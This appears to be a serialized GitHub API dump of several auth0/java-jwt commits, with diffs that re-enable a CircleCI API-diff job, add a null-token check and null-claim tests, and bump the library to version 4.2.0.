       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-  #  api-diff:
-  #    docker:
-  #      - image: openjdk:11.0-jdk
-  #    steps:
-  #      - checkout-and-build
-  #      - run-api-diff
-  #    environment:
-  #      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-  #      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-  #      TERM: dumb
+    api-diff:
+      docker:
+        - image: openjdk:11.0-jdk
+      steps:
+        - checkout-and-build
+        - run-api-diff
+      environment:
+        GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+        _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+        TERM: dumb
 
 workflows:
   build-and-test:
     jobs:
       - build
-#  api-diff:
-#    jobs:
-#      - api-diff
+  api-diff:
+    jobs:
+      - api-diffu}(j&  (01a5adbe1222145b827086ec99d8178ae301be72jL'  lib/build.gradlejN'  modifiedjF'  KjG'  KjP'  KjQ'  bhttps://github.com/auth0/java-jwt/blob/8dc5fbb6cde11084c9c74096d39f869910733bb8/lib%2Fbuild.gradlejS'  ahttps://github.com/auth0/java-jwt/raw/8dc5fbb6cde11084c9c74096d39f869910733bb8/lib%2Fbuild.gradlejU'  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=8dc5fbb6cde11084c9c74096d39f869910733bb8jW'  @@ -17,7 +17,7 @@ oss {
     repository "java-jwt"
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
-    baselineCompareVersion "3.18.2"
+    baselineCompareVersion "4.0.0"
 
     developers {
         auth0 {ueu(f530b268354926792461926a0eb8d810be01583b}(sha(f530b268354926792461926a0eb8d810be01583bnode_idEC_kwDOAQtL0doAKGY1MzBiMjY4MzU0OTI2NzkyNDYxOTI2YTBlYjhkODEwYmUwMTU4M2Icommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-08-30T01:11:33Zu	committer}(jk'  Jim Andersonjm'  jimranderson@gmail.comjo'  2022-08-30T01:38:57Zumessage%Check for null token before splittingtree}(jc'  (600f96b4ffc8549d8ddf5fda05aebfefa68efcaeurl^https://api.github.com/repos/auth0/java-jwt/git/trees/600f96b4ffc8549d8ddf5fda05aebfefa68efcaeuj{'  `https://api.github.com/repos/auth0/java-jwt/git/commits/f530b268354926792461926a0eb8d810be01583b
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj{'  \https://api.github.com/repos/auth0/java-jwt/commits/f530b268354926792461926a0eb8d810be01583bhtml_urlQhttps://github.com/auth0/java-jwt/commit/f530b268354926792461926a0eb8d810be01583bcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/f530b268354926792461926a0eb8d810be01583b/commentsji'  }(login
jimmyjamesidJ7 je'  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j{'  'https://api.github.com/users/jimmyjamesj'  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujq'  }(j'  
jimmyjamesj'  J7 je'  MDQ6VXNlcjI3NjIyNQ==j'  2https://avatars.githubusercontent.com/u/276225?v=4j'  h3j{'  'https://api.github.com/users/jimmyjamesj'  https://github.com/jimmyjamesj'  1https://api.github.com/users/jimmyjames/followersj'  >https://api.github.com/users/jimmyjames/following{/other_user}j'  7https://api.github.com/users/jimmyjames/gists{/gist_id}j'  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j'  5https://api.github.com/users/jimmyjames/subscriptionsj'  ,https://api.github.com/users/jimmyjames/orgsj'  -https://api.github.com/users/jimmyjames/reposj'  8https://api.github.com/users/jimmyjames/events{/privacy}j'  7https://api.github.com/users/jimmyjames/received_eventsj'  Userj'  uparents]}(jc'  (46d022a49dc35b8dd4b75b9ac48adc1844e110eej{'  \https://api.github.com/repos/auth0/java-jwt/commits/46d022a49dc35b8dd4b75b9ac48adc1844e110eej'  Qhttps://github.com/auth0/java-jwt/commit/46d022a49dc35b8dd4b75b9ac48adc1844e110eeuastats}(totalK
	additionsK
	deletionsK ufiles](}(jc'  (6fa731c5c9ed784b2d2a4d8537349bfa05f386cafilename/lib/src/main/java/com/auth0/jwt/TokenUtils.javastatusmodifiedj'  Kj'  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/f530b268354926792461926a0eb8d810be01583b/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaraw_urlhttps://github.com/auth0/java-jwt/raw/f530b268354926792461926a0eb8d810be01583b/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java?ref=f530b268354926792461926a0eb8d810be01583bpatchX  @@ -12,6 +12,9 @@ abstract class TokenUtils {
      * @throws JWTDecodeException if the Token doesn't have 3 parts.
      */
     static String[] splitToken(String token) throws JWTDecodeException {
+        if (token == null) {
+            throw new JWTDecodeException("The token is null.");
+        }
         String[] parts = token.split("\\.");
         if (parts.length == 2 && token.endsWith(".")) {
             //Tokens with alg='none' have empty String as Signature.u}(jc'  (8649ec90a1c0e56ad2ad8b02d71bc3804b2c6129j'  3lib/src/test/java/com/auth0/jwt/TokenUtilsTest.javaj'  modifiedj'  Kj'  K j'  Kj'  https://github.com/auth0/java-jwt/blob/f530b268354926792461926a0eb8d810be01583b/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj'  https://github.com/auth0/java-jwt/raw/f530b268354926792461926a0eb8d810be01583b/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj'  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.java?ref=f530b268354926792461926a0eb8d810be01583bj'  X  @@ -52,4 +52,11 @@ public void shouldThrowOnSplitTokenWithLessThan3Parts() {
         String token = "two.parts";
         TokenUtils.splitToken(token);
     }
+
+    @Test
+    public void shouldThrowOnSplitTokenWithNullValue() {
+        exception.expect(JWTDecodeException.class);
+        exception.expectMessage("The token is null.");
+        TokenUtils.splitToken(null);
+    }
 }
\ No newline at end of fileueu(2e75d5246a9c2e8d2783d942917d8767cf977ba6}(sha(2e75d5246a9c2e8d2783d942917d8767cf977ba6node_idEC_kwDOAQtL0doAKDJlNzVkNTI0NmE5YzJlOGQyNzgzZDk0MjkxN2Q4NzY3Y2Y5NzdiYTYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-24T15:02:12Zu	committer}(j'  
Poovamraj T Tj'  poovamraj@gmail.comj'  2022-03-24T15:07:46Zumessage0Test cases for JWT verification and constructiontree}(j'  (fc27a7d10247b253b3e2e28d94a47e97a5d9f88aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/fc27a7d10247b253b3e2e28d94a47e97a5d9f88auj'  `https://api.github.com/repos/auth0/java-jwt/git/commits/2e75d5246a9c2e8d2783d942917d8767cf977ba6
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj'  \https://api.github.com/repos/auth0/java-jwt/commits/2e75d5246a9c2e8d2783d942917d8767cf977ba6html_urlQhttps://github.com/auth0/java-jwt/commit/2e75d5246a9c2e8d2783d942917d8767cf977ba6comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/2e75d5246a9c2e8d2783d942917d8767cf977ba6/commentsj'  }(login	poovamrajidJ j'  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j'  &https://api.github.com/users/poovamrajj(  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj'  }(j	(  	poovamrajj(  J j'  MDQ6VXNlcjE1OTEwNDI1j
(  4https://avatars.githubusercontent.com/u/15910425?v=4j(  h3j'  &https://api.github.com/users/poovamrajj(  https://github.com/poovamrajj(  0https://api.github.com/users/poovamraj/followersj(  =https://api.github.com/users/poovamraj/following{/other_user}j(  6https://api.github.com/users/poovamraj/gists{/gist_id}j(  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j(  4https://api.github.com/users/poovamraj/subscriptionsj(  +https://api.github.com/users/poovamraj/orgsj(  ,https://api.github.com/users/poovamraj/reposj (  7https://api.github.com/users/poovamraj/events{/privacy}j"(  6https://api.github.com/users/poovamraj/received_eventsj$(  Userj&(  uparents]}(j'  (a1d01fc763327856a92e01aa1e4f29f7a96ee805j'  \https://api.github.com/repos/auth0/java-jwt/commits/a1d01fc763327856a92e01aa1e4f29f7a96ee805j(  Qhttps://github.com/auth0/java-jwt/commit/a1d01fc763327856a92e01aa1e4f29f7a96ee805uastats}(totalKt	additionsKs	deletionsKufiles](}(j'  (08b3364f63beb5ecc9754adca23540e01e07cbdffilename3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javastatusmodifiedj@(  KHjA(  KchangesKIblob_urlhttps://github.com/auth0/java-jwt/blob/2e75d5246a9c2e8d2783d942917d8767cf977ba6/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/2e75d5246a9c2e8d2783d942917d8767cf977ba6/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=2e75d5246a9c2e8d2783d942917d8767cf977ba6patchXx
  @@ -622,7 +622,7 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
-        
+
         String body = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
         ObjectMapper mapper = new ObjectMapper();
         List<Object> list = (List<Object>) mapper.readValue(body, Map.class).get("data");
@@ -929,4 +929,75 @@ public void withPayloadShouldAllowNestedSupportedTypes() {
         assertThat(payloadJson, JsonMatcher.hasEntry("listClaim", listClaim));
         assertThat(payloadJson, JsonMatcher.hasEntry("objClaim", mapClaim));
     }
+
+    @Test
+    public void withPayloadShouldSupportNullValuesEverywhere() {
+         /*
+        JWT:
+            {
+              "listClaim": [
+                "answer to ultimate question of life",
+                42,
+                null
+              ],
+              "claim": null,
+              "listNestedClaim": [
+                1,
+                2,
+                {
+                  "nestedObjKey": null
+                }
+              ],
+              "objClaim": {
+                "nestedObjKey": null,
+                "objObjKey": {
+                  "nestedObjKey": null,
+                  "objListKey": [
+                    null,
+                    "nestedList2"
+                  ]
+                },
+                "objListKey": [
+                  null,
+                  "nestedList2"
+                ]
+              }
+            }
+         */
+
+        List<?> listClaim = Arrays.asList("answer to ultimate question of life", 42, null);
+        List<?> listNestedClaim = Arrays.asList(1, 2, Collections.singletonMap("nestedObjKey", null));
+        List<?> objListKey = Arrays.asList(null, "nestedList2");
+        HashMap<String, Object> objClaim = new HashMap<>();
+        objClaim.put("nestedObjKey", null);
+        objClaim.put("objListKey", objListKey);
+        objClaim.put("objObjKey", new HashMap<>(objClaim));
+
+
+        Map<String, Object> payload = new HashMap<>();
+        payload.put("claim", null);
+        payload.put("listClaim", listClaim);
+        payload.put("listNestedClaim", listNestedClaim);
+        payload.put("objClaim", objClaim);
+
+        String jwt = JWTCreator.init()
+                .withPayload(payload)
+                .withHeader(payload)
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(jwt, is(notNullValue()));
+        String[] parts = jwt.split("\\.");
+        String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
+        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
+
+        assertThat(payloadJson, JsonMatcher.hasEntry("claim", null));
+        assertThat(payloadJson, JsonMatcher.hasEntry("listClaim", listClaim));
+        assertThat(payloadJson, JsonMatcher.hasEntry("listNestedClaim", listNestedClaim));
+        assertThat(payloadJson, JsonMatcher.hasEntry("objClaim", objClaim));
+
+        assertThat(headerJson, JsonMatcher.hasEntry("claim", null));
+        assertThat(headerJson, JsonMatcher.hasEntry("listClaim", listClaim));
+        assertThat(headerJson, JsonMatcher.hasEntry("listNestedClaim", listNestedClaim));
+        assertThat(headerJson, JsonMatcher.hasEntry("objClaim", objClaim));
+    }
 }u}(j'  (7d2123a994b057c3c1c07e3a91c5b2c1c9f9d2c8jF(  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javajH(  modifiedj@(  K+jA(  K jJ(  K+jK(  https://github.com/auth0/java-jwt/blob/2e75d5246a9c2e8d2783d942917d8767cf977ba6/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajM(  https://github.com/auth0/java-jwt/raw/2e75d5246a9c2e8d2783d942917d8767cf977ba6/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajO(  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=2e75d5246a9c2e8d2783d942917d8767cf977ba6jQ(  X  @@ -1064,4 +1064,47 @@ public void shouldRemovePredicateCheckForNull() {
         assertThat(verifier.expectedChecks, not(hasKey("claimName")));
     }
 
+    @Test
+    public void shouldSuccessfullyVerifyClaimWithNull() {
+        String jwt = JWTCreator.init()
+                .withNullClaim("claimName")
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withNullClaim("claimName")
+                .build();
+
+        DecodedJWT decodedJWT = verifier.verify(jwt);
+        assertThat(decodedJWT, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldThrowWhenNullClaimHasValue() {
+        exception.expect(InvalidClaimException.class);
+        exception.expectMessage("The Claim 'claimName' value doesn't match the required one.");
+
+        String jwt = JWTCreator.init()
+                .withClaim("claimName", "value")
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withNullClaim("claimName")
+                .build()
+                .verify(jwt);
+    }
+
+    @Test
+    public void shouldThrowWhenNullClaimIsMissing() {
+        exception.expect(InvalidClaimException.class);
+        exception.expectMessage("The Claim 'anotherClaimName' value doesn't match the required one.");
+
+        String jwt = JWTCreator.init()
+                .withClaim("claimName", "value")
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withNullClaim("anotherClaimName")
+                .build()
+                .verify(jwt);
+    }
 }ueu(1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4}(sha(1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4node_idEC_kwDOAQtL0doAKDFkNmIwN2VlMzA1NGIxODU5ZWJkNjhmMzUyNmEyYTdlODBlY2Q5YzQcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-20T23:52:52Zu	committer}(je(  GitHubjg(  noreply@github.comji(  2022-10-20T23:52:52Zumessage!Merge branch 'master' into mastertree}(j](  (2db5dd2db4a24d579a2c67ca28a7466bcf872036url^https://api.github.com/repos/auth0/java-jwt/git/trees/2db5dd2db4a24d579a2c67ca28a7466bcf872036uju(  `https://api.github.com/repos/auth0/java-jwt/git/commits/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjUd9UCRBK7hj4Ov3rIwAA+YYIAA398zWXmh4mojGT27mCw0mX
02nxB9IFMDzYM4vwfaoqRa9EZS4kxl4z3i+hEEIlZsLaDllQkwM18FT2iLVgONl6
Dy2u8Qc1HiYf7MbkU4+VqlH2pkEUAgv5ek2uMVyvRD5hTsb29Ni3mQU3F+0FQ6AP
iDLCO3VfEkJa2jrC88lg2GN4dHJemscAUhGpVRwZQq5im6M3Y67KHk3Q3cSMQYun
ZYS6AZIspq4I9tr+mSxbdj0LV0dnHRLUbF3Jo95XfmnLD973u+XreSLo5yQiXQaZ
xj/hda0ekrydEvJkaI5E30oGcD6qYYpiS+jc9ZCHFlevQBUOqZqSx6rMgDUg3oA=
=092q
-----END PGP SIGNATURE-----
payloadX%  tree 2db5dd2db4a24d579a2c67ca28a7466bcf872036
parent e363b33046c54026db97ea96301524d89d714418
parent 32935767d3414d1e91feec41ee69159b3d2524eb
author Jim Anderson <jim.anderson@auth0.com> 1666309972 -0500
committer GitHub <noreply@github.com> 1666309972 -0500

Merge branch 'master' into masteruuju(  \https://api.github.com/repos/auth0/java-jwt/commits/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4html_urlQhttps://github.com/auth0/java-jwt/commit/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4/commentsjc(  }(login
jimmyjamesidJ7 j_(  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3ju(  'https://api.github.com/users/jimmyjamesj(  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujk(  }(j(  web-flowj(  J/j_(  MDQ6VXNlcjE5ODY0NDQ3j(  4https://avatars.githubusercontent.com/u/19864447?v=4j(  h3ju(  %https://api.github.com/users/web-flowj(  https://github.com/web-flowj(  /https://api.github.com/users/web-flow/followersj(  <https://api.github.com/users/web-flow/following{/other_user}j(  5https://api.github.com/users/web-flow/gists{/gist_id}j(  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j(  3https://api.github.com/users/web-flow/subscriptionsj(  *https://api.github.com/users/web-flow/orgsj(  +https://api.github.com/users/web-flow/reposj(  6https://api.github.com/users/web-flow/events{/privacy}j(  5https://api.github.com/users/web-flow/received_eventsj(  Userj(  uparents](}(j](  (e363b33046c54026db97ea96301524d89d714418ju(  \https://api.github.com/repos/auth0/java-jwt/commits/e363b33046c54026db97ea96301524d89d714418j(  Qhttps://github.com/auth0/java-jwt/commit/e363b33046c54026db97ea96301524d89d714418u}(j](  (32935767d3414d1e91feec41ee69159b3d2524ebju(  \https://api.github.com/repos/auth0/java-jwt/commits/32935767d3414d1e91feec41ee69159b3d2524ebj(  Qhttps://github.com/auth0/java-jwt/commit/32935767d3414d1e91feec41ee69159b3d2524ebuestats}(totalK@	additionsK&	deletionsKufiles](}(j](  (32e9d4de767b3b2abd457def666219d608929e0afilename.circleci/config.ymlstatusmodifiedj(  Kj(  KchangesK*blob_urlfhttps://github.com/auth0/java-jwt/blob/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4patchX  @@ -23,14 +23,14 @@ commands:
     steps:
       - run: ./gradlew check jacocoTestReport --continue --console=plain
       - codecov/upload
-  # run-api-diff:
-  #   steps:
-  #     # run apiDiff task
-  #     - run: ./gradlew apiDiff
-  #     - store_artifacts:
-  #         path: lib/build/reports/apiDiff/apiDiff.txt
-  #     - store_artifacts:
-  #         path: lib/build/reports/apiDiff/apiDiff.html
+  run-api-diff:
+    steps:
+      # run apiDiff task
+      - run: ./gradlew apiDiff
+      - store_artifacts:
+          path: lib/build/reports/apiDiff/apiDiff.txt
+      - store_artifacts:
+          path: lib/build/reports/apiDiff/apiDiff.html
 jobs:
   build:
     docker:
@@ -42,16 +42,16 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-  # api-diff:
-  #   docker:
-  #     - image: openjdk:11.0-jdk
-  #   steps:
-  #     - checkout-and-build
-  #     - run-api-diff
-  #   environment:
-  #     GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-  #     _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-  #     TERM: dumb
+  api-diff:
+    docker:
+      - image: openjdk:11.0-jdk
+    steps:
+      - checkout-and-build
+      - run-api-diff
+    environment:
+      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+      TERM: dumb
 
 workflows:
   build-and-test:
@@ -68,6 +68,6 @@ workflows:
                 - master
           requires:
             - build
-  # api-diff:
-  #   jobs:
-  #     - api-diff
+  api-diff:
+    jobs:
+      - api-diffu}(j](  (fe59345e654ee1a2cb66b45ccedfced0d0fea58bj(  .shiprcj(  modifiedj(  Kj(  Kj(  Kj(  Whttps://github.com/auth0/java-jwt/blob/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4/.shiprcj(  Vhttps://github.com/auth0/java-jwt/raw/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4/.shiprcj(  ihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4j(  @@ -1,7 +1,7 @@
 {
   "files": {
     "README.md": [],
-    "lib/build.gradle": []
+    "lib/build.gradle": ["version = \"{MAJOR}.{MINOR}.{PATCH}\""]
   },
   "prefixVersion": false
 }
\ No newline at end of fileu}(j](  (c6c2d511a9e2bec805444dd5e1a075842de77085j(  CHANGELOG.mdj(  modifiedj(  Kj(  K j(  Kj(  \https://github.com/auth0/java-jwt/blob/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4/CHANGELOG.mdj(  [https://github.com/auth0/java-jwt/raw/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4/CHANGELOG.mdj(  nhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4j(  X   @@ -1,5 +1,17 @@
 # Change Log
 
+## [4.2.0](https://github.com/auth0/java-jwt/tree/4.2.0) (2022-10-19)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.1.0...4.2.0)
+
+**Changed**
+- Re-enable japicmp API diff checking [\#619](https://github.com/auth0/java-jwt/pull/619) ([jimmyjames](https://github.com/jimmyjames))
+- Update .shiprc to only update lib version in build.gradle [\#625](https://github.com/auth0/java-jwt/pull/625) ([jimmyjames](https://github.com/jimmyjames))
+- Optimise TokenUtils parsing [\#611](https://github.com/auth0/java-jwt/pull/611) ([noetro](https://github.com/noetro))
+- Update Circle Ship Orb configuration [\#616](https://github.com/auth0/java-jwt/pull/616) ([frederikprijck](https://github.com/frederikprijck))
+
+**Fixed**
+- Update Claim#asString documentation [\#615](https://github.com/auth0/java-jwt/pull/615) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [4.1.0](https://github.com/auth0/java-jwt/tree/4.1.0) (2022-10-06)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.0.0...4.1.0)
 u}(j](  (89b67ad8ab738263dfe5031dacbdf28b7e8a7e41j(  	README.mdj(  modifiedj(  Kj(  Kj(  Kj(  Yhttps://github.com/auth0/java-jwt/blob/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4/README.mdj(  Xhttps://github.com/auth0/java-jwt/raw/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4/README.mdj(  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4j(  X  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.1.0'
+implementation 'com.auth0:java-jwt:4.2.0'
 ```
 
 ### Maven
@@ -48,7 +48,7 @@ implementation 'com.auth0:java-jwt:4.1.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>4.1.0</version>
+    <version>4.2.0</version>
 </dependency>
 ```
 u}(j](  (9ad2a4f2c0156c5e16a76180be431db28e0d4364j(  lib/build.gradlej(  modifiedj(  Kj(  Kj(  Kj(  bhttps://github.com/auth0/java-jwt/blob/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4/lib%2Fbuild.gradlej(  ahttps://github.com/auth0/java-jwt/raw/1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4/lib%2Fbuild.gradlej(  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=1d6b07ee3054b1859ebd68f3526a2a7e80ecd9c4j(  Xm  @@ -1,5 +1,5 @@
 buildscript {
-    version = "4.1.0"
+    version = "4.2.0"
 }
 
 plugins {
@@ -46,7 +46,7 @@ oss {
     repository "java-jwt"
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
-    baselineCompareVersion "4.0.0"
+    baselineCompareVersion "4.1.0"
     skipAssertSigningConfiguration true
 
     developers {ueu(a24c18b2073db832f3396382d0c8396562e0fb70}(sha(a24c18b2073db832f3396382d0c8396562e0fb70node_idEC_kwDOAQtL0doAKGEyNGMxOGIyMDczZGI4MzJmMzM5NjM4MmQwYzgzOTY1NjJlMGZiNzAcommit}(author}(name
Noel Troutemailnoel.trout@avinode.comdate2022-10-06T06:41:05Zu	committer}(j )  
Noel Troutj)  noel.trout@avinode.comj)  2022-10-06T06:41:05ZumessageFixing checkstyle issuestree}(j(  (db9e62f0f83a9e01185cb52fa5d7888aefc2caacurl^https://api.github.com/repos/auth0/java-jwt/git/trees/db9e62f0f83a9e01185cb52fa5d7888aefc2caacuj)  `https://api.github.com/repos/auth0/java-jwt/git/commits/a24c18b2073db832f3396382d0c8396562e0fb70
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj)  \https://api.github.com/repos/auth0/java-jwt/commits/a24c18b2073db832f3396382d0c8396562e0fb70html_urlQhttps://github.com/auth0/java-jwt/commit/a24c18b2073db832f3396382d0c8396562e0fb70comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/a24c18b2073db832f3396382d0c8396562e0fb70/commentsj(  }(loginnoetroidJOP&j(  MDQ6VXNlcjE5Mjg4MTQz
avatar_url4https://avatars.githubusercontent.com/u/19288143?v=4gravatar_idh3j)  #https://api.github.com/users/noetroj)  https://github.com/noetro
followers_url-https://api.github.com/users/noetro/followers
following_url:https://api.github.com/users/noetro/following{/other_user}	gists_url3https://api.github.com/users/noetro/gists{/gist_id}starred_url:https://api.github.com/users/noetro/starred{/owner}{/repo}subscriptions_url1https://api.github.com/users/noetro/subscriptionsorganizations_url(https://api.github.com/users/noetro/orgs	repos_url)https://api.github.com/users/noetro/repos
events_url4https://api.github.com/users/noetro/events{/privacy}received_events_url3https://api.github.com/users/noetro/received_eventstypeUser
site_adminuj)  }(j!)  noetroj#)  JOP&j(  MDQ6VXNlcjE5Mjg4MTQzj%)  4https://avatars.githubusercontent.com/u/19288143?v=4j')  h3j)  #https://api.github.com/users/noetroj)  https://github.com/noetroj*)  -https://api.github.com/users/noetro/followersj,)  :https://api.github.com/users/noetro/following{/other_user}j.)  3https://api.github.com/users/noetro/gists{/gist_id}j0)  :https://api.github.com/users/noetro/starred{/owner}{/repo}j2)  1https://api.github.com/users/noetro/subscriptionsj4)  (https://api.github.com/users/noetro/orgsj6)  )https://api.github.com/users/noetro/reposj8)  4https://api.github.com/users/noetro/events{/privacy}j:)  3https://api.github.com/users/noetro/received_eventsj<)  Userj>)  uparents]}(j(  (e2a83142c41a65f0c5c24884d6f6ef36d9a7628aj)  \https://api.github.com/repos/auth0/java-jwt/commits/e2a83142c41a65f0c5c24884d6f6ef36d9a7628aj